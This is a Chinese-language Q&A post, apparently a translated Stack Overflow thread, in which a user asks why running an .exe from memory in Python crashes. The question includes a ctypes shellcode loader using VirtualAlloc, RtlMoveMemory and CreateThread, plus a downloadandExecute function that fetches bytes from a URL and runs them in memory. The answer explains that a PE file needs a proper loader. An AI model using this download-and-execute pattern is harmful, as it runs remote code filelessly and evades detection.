我正在尝试在python的内存中执行.exe 但不起作用... 有帮助吗?
错误:进程以退出代码-1073741819(0xC0000005)完成。 python中只有一个.exe可以工作..(从python转换为exe)
此函数通过参数传递代码...它是一个字节数组
def executar(code):
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(code)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(code)).from_buffer(code)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr), buf, ctypes.c_int(len(code)))
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_int(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht), ctypes.c_int(-1))
我正在尝试几个.exe文件...。 我在这里喜欢这篇文章: https://medium.com/@AntiSec_Inc/combining-the-power-of-python-and-assembly-a4cf424be01d
def downloadandExecute(url):
response = requests.get(url)
code = bytearray(response.content)
executar(code)
但错误仍然存在
答案 0 :(得分:2)
我认为代码是正确的(未经测试),但是问题是您试图将以大量元数据开头的exe文件传递给需要纯代码的函数。您链接的示例使用的是直接的二进制代码,该代码无需任何转换即可执行。它们只是指令流。
要加载真实的exe(PE)文件,您需要做更多的工作-解析标头,加载所需的库,准备堆/堆栈,准备其他节和映射等。
上了解有关PE格式的更多信息。